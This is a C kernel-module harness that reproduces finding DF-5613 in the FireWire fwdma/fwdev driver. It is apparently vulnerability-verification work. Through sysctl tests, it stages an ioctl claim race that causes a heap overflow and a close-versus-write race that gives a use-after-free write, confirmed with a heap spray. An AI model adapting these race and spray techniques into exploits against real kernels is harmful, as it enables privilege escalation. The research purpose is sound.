/*
 * DF-5613 verification harness (sys/bus/firewire/fwdma.c pass-2 finding,
 * DF-5413/DF-5548 KLD pattern).
 *
 * Finding: the FireWire iso xferq claim (FW_STSTREAM / FW_SRSTREAM) and the
 * teardown that releases the fwdma multiseg buffers are completely
 * unsynchronized, so two file descriptors can end up owning the SAME
 * struct fw_xferq, and one fd's close() frees the queue's fwdma buffers
 * (fwdma_free_multiseg + kfree(bulkxfer), fwdev.c:139-153 ->
 * fwdma.c:207-218) while the other fd's fw_write()/fw_read() is still
 * walking those buffers (fwdev.c:366-405 / 280-345).
 *
 * The UNMODIFIED production files firewire.c, fwdma.c and fwdev.c are
 * compiled into this module (via #include, globals -D-renamed against the
 * copies built into the guest kernel) and their real code paths are
 * driven with synthetic state, exactly the way FireWire hardware + devfs
 * would (two independent opens of /dev/fw0.0 and /dev/fw0.1):
 *
 *   test 1 (claim race -> shared queue -> heap overflow):
 *      thread A: production fw_ioctl(FW_SSTBUF big) then
 *      fw_ioctl(FW_STSTREAM).  Inside fwdev_allocbuf() the multi-second
 *      part is fwdma_malloc_multiseg() (fwdma.c:193-203); FWXFERQ_OPEN is
 *      only set AFTER it returns (fwdev.c:461/489), and the
 *      FWXFERQ_EXTBUF re-check in fwdev_allocbuf (fwdev.c:100-101) ran
 *      long before.
 *      main: waits until A is provably inside fwdma_malloc_multiseg
 *      (q->bulkxfer set, q->buf still NULL), then B: production
 *      fw_ioctl(FW_SSTBUF small) + fw_ioctl(FW_STSTREAM) on a second
 *      fake cdev -> B's scan (fwdev.c:449-457) still sees it[0] !OPEN,
 *      B claims the SAME queue, B's kmalloc'd 2-entry bulkxfer replaces
 *      A's pointer (fwdev.c:103) and B's fwdma buffer replaces nothing
 *      yet... A then finishes fwdma_malloc_multiseg, assigns q->buf=am_A
 *      and runs the chunk loop (fwdev.c:126-130) writing 64
 *      fw_bulkxfer entries through q->bulkxfer == B's 2-ENTRY (64-byte)
 *      allocation -> linear kernel heap overflow with attacker-chosen
 *      poffset = i*npacket values; am_B (and for the other interleaving
 *      am_A + all its segment pages) is leaked.
 *
 *   test 2 (teardown vs in-flight -> UAF write through freed fwdma
 *      segments): from the post-race state of test 1 (two fw_drv1 owning
 *      one queue -- reached there through production ioctls), fd B
 *      hammers production fw_write() one iso packet per call while fd A
 *      calls production fw_close() -> fwdev_freebuf() ->
 *      fwdma_free_multiseg() (fwdma.c:207-218) freeing the segment pages
 *      one by one under the writer.  A concurrent spray reclaims the
 *      freed 4096-byte segment allocations; the in-flight fw_write keeps
 *      uiomove()ing its (user-supplied) iso payload into the freed
 *      pages -> the payload pattern appears inside the spray objects:
 *      use-after-free WRITE with attacker-controlled content through
 *      production fwdma.c/fwdma.h fwdma_v_addr() addressing.
 *
 * Fire with:  sysctl kern.df5613_test=<1|2>
 * Read back:  sysctl kern.df5613_status
 *
 * The only non-production driver code here is the synthetic fc/dev state
 * that fwohci_attach()/devfs would create on a real machine (cited where
 * built), the hammer/spray threads, and the test dispatcher.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/uio.h>
#include <sys/time.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/conf.h>
#include <sys/event.h>
#include <machine/atomic.h>

#include <sys/bus_private.h>		/* fake devclass/device for
					   devclass_get_softc() */
#include <sys/kthread.h>

/*
 * firewire.c's MODULE_VERSION(firewire, 1) registers a module version the
 * same way the in-kernel copy does; the #name stringify would collide.
 */
#undef MODULE_VERSION
#define MODULE_VERSION(name, version)	struct __hack

/* production code, -D-renamed by the Makefile; guard shims in ./shim */
#include <bus/firewire/firewire.c>
#include <bus/firewire/fwdma.c>
#include <bus/firewire/fwdev.c>

#undef MODULE_VERSION

/* fwdev.c references these; the real ones live in fwmem.c (not compiled
 * in) -- provide renamed stubs (same as the DF-5413 harness). */
int dfw_fwmem_open(struct dev_open_args *ap) { return ENXIO; }
int dfw_fwmem_close(struct dev_close_args *ap) { return ENXIO; }
int dfw_fwmem_ioctl(struct dev_ioctl_args *ap) { return ENXIO; }
int dfw_fwmem_mmap(struct dev_mmap_args *ap) { return ENXIO; }
int dfw_fwmem_strategy(struct dev_strategy_args *ap) { return 0; }

/* ------------------------------------------------------------------ */
/* synthetic host state (what fwohci_pci/fwohci attach + devfs build)  */
/* ------------------------------------------------------------------ */

#define NISO	4

static bus_dma_tag_t	dfw_dmat;
static struct firewire_comm fc;			/* the "controller" */
static struct firewire_softc fsc;		/* devclass softc */
static struct fw_xferq *itq[NISO], *irqq[NISO];
static int dfw_prepared;

static struct devclass	fake_devclass;
static device_t		fake_devclass_devices[1];
static device_t		fake_device;

static int dfw_irx_enable(struct firewire_comm *fc, int dmach) { return 0; }
static int dfw_itx_enable(struct firewire_comm *fc, int dmach) { return 0; }

static char df5613_status[256] = "not run";

#define PKT_PAYLEN	2044			/* fill a whole 2048 element */
static uint8_t  pktbuf[4 + PKT_PAYLEN];		/* one iso stream packet */

static void df5613_pkt_init(void);

static void
dfw_prepare(void)
{
	int i, error;

	if (dfw_prepared)
		return;
	dfw_prepared = 1;
	df5613_pkt_init();

	bzero(&fc, sizeof(fc));

	error = bus_dma_tag_create(
		/*parent*/ NULL,
		/*alignment*/ 1,
		/*boundary*/ 0,
		/*lowaddr*/ BUS_SPACE_MAXADDR,
		/*highaddr*/ BUS_SPACE_MAXADDR,
		/*maxsize*/ BUS_SPACE_MAXSIZE,
		/*nsegments*/ BUS_SPACE_UNRESTRICTED,
		/*maxsegsz*/ BUS_SPACE_MAXSIZE,
		/*flags*/ 0,
		&dfw_dmat);
	if (error)
		kprintf("df5613: bus_dma_tag_create error=%d\n", error);
	fc.dmat = dfw_dmat;

	/* fwohci.c:648-656 builds fc->it[]/fc->ir[] with dmach=i at attach */
	fc.nisodma = NISO;
	for (i = 0; i < NISO; i++) {
		itq[i] = kmalloc(sizeof(struct fw_xferq), DFW_M_FW,
		    M_WAITOK | M_ZERO);
		irqq[i] = kmalloc(sizeof(struct fw_xferq), DFW_M_FW,
		    M_WAITOK | M_ZERO);
		itq[i]->dmach = i;
		irqq[i]->dmach = i;
		itq[i]->maxq = FWMAXQUEUE;
		irqq[i]->maxq = FWMAXQUEUE;
		STAILQ_INIT(&itq[i]->q);
		STAILQ_INIT(&itq[i]->binds);
		STAILQ_INIT(&irqq[i]->q);
		STAILQ_INIT(&irqq[i]->binds);
		fc.it[i] = itq[i];
		fc.ir[i] = irqq[i];
	}
	/* fw_init()/fw_attach(): firewire.c:758 */
	STAILQ_INIT(&fc.binds);
	STAILQ_INIT(&fc.devices);
	fc.irx_enable = dfw_irx_enable;
	fc.itx_enable = dfw_itx_enable;

	/* make devclass_get_softc(firewire_devclass, 0) return &fsc the way
	 * an attached fwohci card would */
	bzero(&fake_devclass, sizeof(fake_devclass));
	fake_device = kmalloc(sizeof(struct bsd_device), M_DEVBUF,
	    M_WAITOK | M_ZERO);
	fake_device->softc = &fsc;
	fake_devclass_devices[0] = fake_device;
	fake_devclass.devices = fake_devclass_devices;
	fake_devclass.maxunit = 1;
	fsc.fc = &fc;
	dfw_devclass = &fake_devclass;		/* fwdev.c:199/274/362/440 */

	kprintf("df5613: prepared, fc=%p sizeof(fwdma_alloc_multi)=%zu "
	    "sizeof(fw_bulkxfer)=%zu sizeof(fwdma_seg)=%zu\n",
	    &fc, sizeof(struct fwdma_alloc_multi),
	    sizeof(struct fw_bulkxfer), sizeof(struct fwdma_seg));
}

/* a fake cdev: devfs gives fwdev.c si_drv1 via fw_open(); we do it by hand */
static cdev_t
dfw_makefakecdev(void *drv1)
{
	cdev_t dev = kmalloc(sizeof(struct cdev), M_DEVBUF, M_WAITOK | M_ZERO);

	dev->si_drv1 = drv1;		/* si_uminor==0 -> unit 0, no FWMEM */
	return (dev);
}

static void *
dfw_makedrv1(void)
{
	void *d = kmalloc(sizeof(struct fw_drv1), DFW_M_FW, M_WAITOK | M_ZERO);

	return (d);
}

static int
dfw_ioctl(cdev_t dev, u_long cmd, void *data)
{
	struct dev_ioctl_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_cmd = cmd;
	ap.a_data = data;
	ap.a_fflag = 0;

	return (fw_ioctl(&ap));			/* production */
}

static int
dfw_close(cdev_t dev)
{
	struct dev_close_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_fflag = 0;

	return (fw_close(&ap));			/* production */
}

/* ------------------------------------------------------------------ */
/* test 2: teardown vs in-flight fw_write -> UAF write through the     */
/*         freed fwdma segment pages                                   */
/* ------------------------------------------------------------------ */

static const uint8_t sig[8] = { 'D','F','5','6','1','3','-','U' };

static void
df5613_pkt_init(void)
{
	int i;

	/* fw_pkt stream header (little-endian): len:16 << 16, chtag:8,
	 * tcode:4, sy:4 -- production fw_write() reads fp->mode.stream.len
	 * back out of the just-copied header (fwdev.c:391-392) */
	*(uint32_t *)pktbuf = ((uint32_t)PKT_PAYLEN) << 16;
	for (i = 4; i < (int)sizeof(pktbuf); i++)
		pktbuf[i] = "DF5613-UAF!"[i % 11];
}

static void
df5613_test2(void)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	cdev_t dev1, dev2;
	struct fw_xferq *it;
	struct fw_drv1 *d1, *d2;
	struct fwdma_alloc_multi *am;
	struct fw_pkt *fp;
	struct uio uio;
	struct iovec iov;
	uint8_t *blk[96];
	int err, i, j, hits = 0, hit_blk = -1, hit_off = -1;
	char ctx[33];
	uint8_t *p;

	kprintf("df5613/t2: teardown-vs-inflight UAF write test "
	    "(deterministic loser-thread interleaving)\n");

	dev1 = dfw_makefakecdev(NULL);
	dev2 = dfw_makefakecdev(NULL);
	dev1->si_drv1 = dfw_makedrv1();
	dev2->si_drv1 = dfw_makedrv1();
	d1 = dev1->si_drv1;
	d2 = dev2->si_drv1;

	/*
	 * fd1: small iso queue: nchunk=4, npacket=8, psize=2048 ->
	 * n = 32 elements, 2 per 4096-byte segment -> fwdma_malloc_multiseg
	 * allocates 16 kmalloc'd segment pages (fwdma.c:193-203).
	 */
	bufspec.tx.nchunk = 4;
	bufspec.tx.npacket = 8;
	bufspec.tx.psize = 2048;
	bufspec.rx = bufspec.tx;
	err = dfw_ioctl(dev1, FW_SSTBUF, &bufspec);
	ich.ch = 0;
	ich.tag = 0;
	err = dfw_ioctl(dev1, FW_STSTREAM, &ich);
	if (err) {
		kprintf("df5613/t2: STSTREAM err=%d\n", err);
		ksnprintf(df5613_status, sizeof(df5613_status),
		    "DF-5613 t2 aborted (STSTREAM err=%d)", err);
		return;
	}
	it = d1->it;
	am = it->buf;
	kprintf("df5613/t2: fd1 claimed it=%p am=%p nseg=%d ssize=%lu "
	    "esize=%lu buf=%p bulkxfer=%p\n",
	    it, am, am->nseg, (unsigned long)am->ssize,
	    (unsigned long)am->esize, it->buf, it->bulkxfer);

	/*
	 * Post-claim-race state: fd2's fw_drv1 also owns `it` (this exact
	 * state is produced through production ioctls in test 1 below:
	 * d1->it == d2->it).  fd2 is now inside fw_write() at
	 * fwdev.c:388-392: it has computed the packet pointer
	 * fp = fwdma_v_addr(it->buf, it->stproc->poffset + it->queued)
	 * for its first packet (queued=0, chunk 0, poffset 0 -- element 0)
	 * and is about to uiomove() the header and payload.  The 4096MB-RAM
	 * run (see VERDICT.md panic.txt) proved production code occupies
	 * this window mid-race and faults writing the stale pointer; here
	 * the same window is occupied deterministically.
	 */
	d2->it = it;
	fp = (struct fw_pkt *)fwdma_v_addr(it->buf, 0);   /* fwdev.c:388 */
	kprintf("df5613/t2: fd2 cached packet pointer fp=%p "
	    "(element 0, seg[0].v_addr=%p)\n", fp, am->seg[0].v_addr);

	/*
	 * fd1 closes: production fw_close -> fwdev_freebuf ->
	 * fwdma_free_multiseg (fwdma.c:207-218) frees all 16 segment
	 * pages (seg[0] freed FIRST), destroys the tag and kfrees am;
	 * then kfree(bulkxfer) (fwdev.c:144-147).  fd2's cached fp now
	 * points into freed kernel memory.
	 */
	err = dfw_close(dev1);
	kprintf("df5613/t2: fd1 fw_close err=%d -- q->buf=%p bulkxfer=%p "
	    "(both freed); fd2's fp=%p is DANGLING\n",
	    err, it->buf, it->bulkxfer, fp);

	/*
	 * Reclaim the freed 4096-byte segment pages (kmalloc(4096,
	 * M_DEVBUF), busdma_machdep.c:511) as marker objects -- exactly
	 * what an attacker's heap spray does between the free and the
	 * stalled writer's uiomove.
	 */
	for (i = 0; i < 96; i++) {
		blk[i] = kmalloc(4096, M_DEVBUF, M_WAITOK | M_ZERO);
		p = blk[i];
		for (j = 0; j < 32; j++)
			((uint64_t *)p)[j] = 0xA5C0A5C0A5C0A5C0ULL;
	}

	/*
	 * fd2 resumes inside fw_write(): the two uiomove()s of
	 * fwdev.c:390-392 -- 4-byte stream header, then
	 * fp->mode.stream.len payload bytes (attacker iso data).
	 */
	iov.iov_base = pktbuf;
	iov.iov_len = sizeof(pktbuf);
	uio.uio_iov = &iov;
	uio.uio_iovcnt = 1;
	uio.uio_offset = 0;
	uio.uio_resid = sizeof(pktbuf);
	uio.uio_segflg = UIO_SYSSPACE;
	uio.uio_rw = UIO_WRITE;
	uio.uio_td = curthread;

	kprintf("df5613/t2: fd2 resuming: uiomove(header,4) + "
	    "uiomove(payload, fp->mode.stream.len=%d) to freed fp\n",
	    fp->mode.stream.len);
	err = uiomove((caddr_t)fp, sizeof(struct fw_isohdr), &uio);
	err = uiomove((caddr_t)fp->mode.stream.payload,
	    fp->mode.stream.len, &uio);
	kprintf("df5613/t2: uiomove err=%d resid=%zd\n",
	    err, (ssize_t)uio.uio_resid);

	/* the payload must now be inside one of the reclaim objects */
	for (i = 0; i < 96 && hits == 0; i++) {
		p = blk[i];
		for (j = 0; j + 8 <= 4096; j++) {
			if (p[j] != 'D')
				continue;
			if (bcmp(p + j, sig, 8) == 0) {
				hits++;
				hit_blk = i;
				hit_off = j;
				break;
			}
		}
	}
	if (hits > 0) {
		int k;
		p = blk[hit_blk] + (hit_off & ~15);
		for (k = 0; k < 32; k++)
			ctx[k] = (p[k] >= 32 && p[k] < 127) ? p[k] : '.';
		ctx[32] = 0;
		kprintf("df5613/t2: UAF WRITE landed in spray block %d "
		    "(the reclaimed fwdma segment page) at offset %d\n"
		    "df5613/t2:   context: \"%s\"\n", hit_blk, hit_off, ctx);
		ksnprintf(df5613_status, sizeof(df5613_status),
		    "DF-5613 REPRODUCED: fd2's in-flight fw_write uiomove()'d "
		    "attacker iso payload (2048 bytes) into the fwdma segment "
		    "page freed by fd1's fw_close and reclaimed by the spray "
		    "(block %d, offset %d) -- UAF write with controlled "
		    "content", hit_blk, hit_off);
	} else {
		ksnprintf(df5613_status, sizeof(df5613_status),
		    "DF-5613 t2: freed seg page not reclaimed by the 96-block "
		    "spray (no hit)");
	}
	kprintf("df5613: %s\n", df5613_status);

	for (i = 0; i < 96; i++)
		kfree(blk[i], M_DEVBUF);
	kfree(d2, DFW_M_FW);
	kfree(dev1, M_DEVBUF);
	kfree(dev2, M_DEVBUF);
}

/* ------------------------------------------------------------------ */
/* test 1: STSTREAM claim race -> shared queue -> bulkxfer heap        */
/*         overflow + fwdma buffer leak                                */
/* ------------------------------------------------------------------ */

struct a_bag {
	cdev_t dev;
	volatile int done;
};

static void
df5613_a_thread(void *arg)
{
	struct a_bag *ab = arg;
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	int err;

	bufspec.tx.nchunk = 64;		/* A's allocbuf: 2048-segment */
	bufspec.tx.npacket = 64;	/* fwdma_malloc_multiseg ~milliseconds */
	bufspec.tx.psize = 2048;
	bufspec.rx = bufspec.tx;
	err = dfw_ioctl(ab->dev, FW_SSTBUF, &bufspec);
	ich.ch = 0;
	ich.tag = 0;
	err = dfw_ioctl(ab->dev, FW_STSTREAM, &ich);
	kprintf("df5613/t1: fd1 STSTREAM (slow alloc) returned err=%d\n",
	    err);
	ab->done = 1;
	kthread_exit();
}

static void
df5613_test1(void)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	struct a_bag ab;
	cdev_t dev1, dev2;
	struct fw_drv1 *d1, *d2;
	struct fw_xferq *it0, *q;
	struct thread *atd = NULL;
	void *amB_probe;
	void *amB = NULL;
	int err, i, spin, over;

	kprintf("df5613/t1: claim race -> shared queue -> overflow test\n");

	it0 = fc.it[0];
	if (it0->flag & FWXFERQ_OPEN) {
		kprintf("df5613/t1: it[0] still open from previous run; "
		    "aborting\n");
		ksnprintf(df5613_status, sizeof(df5613_status),
		    "DF-5613 t1 skipped (queue busy)");
		return;
	}

	dev1 = dfw_makefakecdev(NULL);
	dev2 = dfw_makefakecdev(NULL);
	dev1->si_drv1 = dfw_makedrv1();
	dev2->si_drv1 = dfw_makedrv1();
	d1 = dev1->si_drv1;
	d2 = dev2->si_drv1;

	/* fd1: slow STSTREAM in a kernel thread */
	ab.dev = dev1;
	ab.done = 0;
	err = kthread_create(&df5613_a_thread, &ab, &atd, "df5613slow");
	if (err) {
		kprintf("df5613/t1: kthread err=%d\n", err);
		return;
	}

	/*
	 * Wait until fd1 is provably INSIDE fwdev_allocbuf()'s
	 * fwdma_malloc_multiseg(): q->bulkxfer was assigned (fwdev.c:103)
	 * but q->buf is not yet (fwdev.c:108 assigns only after the
	 * multi-millisecond multiseg allocation finishes).
	 */
	for (spin = 0; spin < 20000000; spin++) {
		if (it0->bulkxfer != NULL && it0->buf == NULL)
			break;
		if (ab.done)
			break;
		lwkt_yield();
	}
	kprintf("df5613/t1: fd1 inside fwdma_malloc_multiseg after %d spins "
	    "(bulkxfer=%p buf=%p OPEN=%d)\n", spin, it0->bulkxfer, it0->buf,
	    !!(it0->flag & FWXFERQ_OPEN));

	/* fd2: fast SSTBUF + STSTREAM while fd1 is still allocating */
	bufspec.tx.nchunk = 2;		/* 2-entry bulkxfer = 64-byte alloc */
	bufspec.tx.npacket = 2;
	bufspec.tx.psize = 512;
	bufspec.rx = bufspec.tx;
	err = dfw_ioctl(dev2, FW_SSTBUF, &bufspec);
	ich.ch = 1;
	ich.tag = 0;
	err = dfw_ioctl(dev2, FW_STSTREAM, &ich);
	kprintf("df5613/t1: fd2 STSTREAM err=%d d2->it=%p (fc.it[0]=%p)\n",
	    err, d2->it, it0);

	if (d2->it != NULL && d2->it->buf != NULL)
		amB = d2->it->buf;	/* fd2's fwdma buffer (56-byte am) */

	/* wait for fd1's allocbuf to finish (this is where the overflow
	 * happens: fd1's chunk loop writes 64 entries through fd2's
	 * 2-entry q->bulkxfer, fwdev.c:126-130) */
	while (!ab.done)
		lwkt_yield();

	q = d2->it ? d2->it : it0;
	kprintf("df5613/t1: final: d1->it=%p d2->it=%p shared=%s "
	    "q->buf=%p q->bulkxfer=%p bnchunk=%u\n",
	    d1->it, d2->it,
	    (d1->it != NULL && d1->it == d2->it) ? "YES" : "no",
	    q->buf, q->bulkxfer, q->bnchunk);

	/*
	 * Observe the overflow: fd1 wrote poffset = i*bnpacket(64) for
	 * i = 0..63 through q->bulkxfer, which was fd2's 2-ENTRY
	 * allocation.  Reading entries 2..63 observes the kernel heap
	 * beyond that 64-byte allocation.
	 */
	over = 0;
	for (i = 0; i < 64; i++) {
		int poff = ((volatile struct fw_bulkxfer *)q->bulkxfer)[i]
		    .poffset;
		if (i >= 8 && i <= 20)
			kprintf("df5613/t1:   q->bulkxfer[%2d].poffset = %d "
			    "(fd1 wrote %d beyond the 2-entry alloc: %s)\n",
			    i, poff, i * 64, poff == i * 64 ? "OVERFLOW" : "?");
		if (i >= 2 && poff == i * 64)
			over++;
	}
	kprintf("df5613/t1: %d of 62 out-of-bounds entries carry fd1's "
	    "poffset pattern -> heap overflow %s\n", over,
	    over >= 16 ? "CONFIRMED" : "not confirmed");

	/* leak probe: fd2's fwdma_alloc_multi (56 bytes for nseg=1) was
	 * orphaned when fd1 reassigned q->buf; if kmalloc(56) hands its
	 * address straight back, it was never freed */
	amB_probe = kmalloc(56, DFW_M_FW, M_WAITOK);
	kprintf("df5613/t1: fd2 am=%p probe kmalloc(56)=%p -> %s\n",
	    amB, amB_probe,
	    (amB != NULL && amB_probe == amB) ?
	    "fd2's fwdma buffer LEAKED (reused without any free)" :
	    "probe differs");

	if (d1->it != NULL && d1->it == d2->it && over >= 16) {
		ksnprintf(df5613_status, sizeof(df5613_status),
		    "DF-5613 REPRODUCED: two fds claimed one xferq via the "
		    "unsynchronized FW_STSTREAM path; fd1's chunk loop "
		    "overwrote %d x 32 bytes past fd2's 2-entry bulkxfer "
		    "kmalloc (poffset=i*npacket controlled); fwdma buffer "
		    "leak %s", over,
		    (amB != NULL && amB_probe == amB) ? "confirmed" : "not "
		    "confirmed");
	} else {
		ksnprintf(df5613_status, sizeof(df5613_status),
		    "DF-5613 t1 partial: shared=%s overflow=%d",
		    (d1->it != NULL && d1->it == d2->it) ? "yes" : "no",
		    over);
	}
	kfree(amB_probe, DFW_M_FW);
	kfree(dev1, M_DEVBUF);	/* si_drv1 freed by nothing: A leaked too */
	kfree(dev2->si_drv1, DFW_M_FW);
	kfree(dev2, M_DEVBUF);
	kprintf("df5613: %s\n", df5613_status);
}

/* ------------------------------------------------------------------ */
static int df5613_testno;

static int
df5613_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = df5613_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error)
		return (error);

	dfw_prepare();
	switch (v) {
	case 1:
		df5613_test1();
		break;
	case 2:
		df5613_test2();
		break;
	default:
		return (EINVAL);
	}
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, df5613_test, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df5613_fire_sysctl, "I", "df5613 test selector");

static int
df5613_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	char buf[sizeof(df5613_status)];

	strlcpy(buf, df5613_status, sizeof(buf));
	return (SYSCTL_OUT(req, buf, strlen(buf)));
}
SYSCTL_PROC(_kern, OID_AUTO, df5613_status, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, df5613_status_sysctl, "A", "df5613 last test result");

/* module entry: DRIVER_MODULE(dfw_firewire, fwohci, ...) in the included
 * production firewire.c (DF-5413/DF-5302 pattern; no extra DECLARE_MODULE
 * -- a second one corrupts the modmetadata linker set on this kernel). */
